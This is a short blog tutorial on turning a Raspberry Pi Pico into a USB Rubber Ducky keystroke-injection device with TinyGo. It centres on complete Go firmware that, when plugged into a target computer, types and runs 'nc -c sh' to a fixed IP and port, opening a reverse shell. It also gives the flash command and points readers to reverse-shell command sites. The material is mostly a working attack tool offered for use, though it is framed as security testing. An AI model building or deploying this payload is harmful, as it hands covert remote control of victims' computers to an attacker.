Post

Rubber Ducky With Pi Pico

Rubber Ducky With Pi Pico

What is a USB Rubber Ducky?

A USB Rubber Ducky is a device that appears as a keyboard to the target computer. When plugged in, it can execute pre-programmed keystrokes at incredible speeds, making it useful for security testing and demonstrations.

Why Pi Pico?

The Raspberry Pi Pico offers several advantages:

  • Cost-effective alternative to commercial USB Rubber Ducky devices
  • Highly customizable and programmable
  • Small form factor
  • Open-source firmware and tools

Getting Started

To use the Pi Pico as a USB HID device, you’ll need to flash it with appropriate firmware that enables HID functionality. There are several approaches:

Tools :

  1. Pico Pi (RP2024)
  2. Convert male USB-Male Type male
Pi Pico Adapter Final Device

Steps :

  1. install Tinygo
  2. Create a new directory for the project
  3. Create a new file called main.go
  4. Write the following code : this example for connection netcat to the server :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
    package main

    import (
        "machine/usb/hid/keyboard"
        "time"
    )

    func main() { 
        kb := keyboard.Port()
        time.Sleep(3 * time.Second)
        kb.Down(keyboard.KeyLeftCtrl)
        kb.Press(keyboard.KeyP)
        kb.UpAll()  
        time.Sleep(1 * time.Second)
        cmd := "nc -c sh 192.168.1.3 9901"
        typeString(kb, cmd)
        kb.Press(keyboard.KeyEnter)
    }

    
    func typeString(kb *keyboard.Device, str string) {
        for _, char := range str {
            switch char {
            case ' ':
                kb.Press(keyboard.KeySpace)
            case '.':
                kb.Press(keyboard.KeyPeriod)
            case '-':
                kb.Press(keyboard.KeyMinus)
            
            
            case '0': kb.Press(keyboard.Key0)
            case '1': kb.Press(keyboard.Key1)
            case '2': kb.Press(keyboard.Key2)
            case '3': kb.Press(keyboard.Key3)
            case '4': kb.Press(keyboard.Key4)
            case '5': kb.Press(keyboard.Key5)
            case '6': kb.Press(keyboard.Key6)
            case '7': kb.Press(keyboard.Key7)
            case '8': kb.Press(keyboard.Key8)
            case '9': kb.Press(keyboard.Key9)
    
            default:
            
                if char >= 'a' && char <= 'z' {
                    
                    k := keyboard.Code(uint8(keyboard.KeyA) + uint8(char-'a'))
                    kb.Press(k)
                }
            }
            
            time.Sleep(20 * time.Millisecond)
        }
}
          
  1. Connect the Pi pico to the PC
  2. Run the following command to flash the firmware to the Pi pico:
1
tinygo flash -target=pico main.go
  1. Connect the converted USB to the target computer
  2. can you using command reverse shell for reverse shell site
  • Here is a video example test of using the Pi Pico Rubber Ducky setup:

I chose TinyGo because I like the Go language, it’s faster than Python, and it’s generally more practical and efficient for hacking purposes.

This post is licensed under CC BY 4.0 by the author.

Trending Tags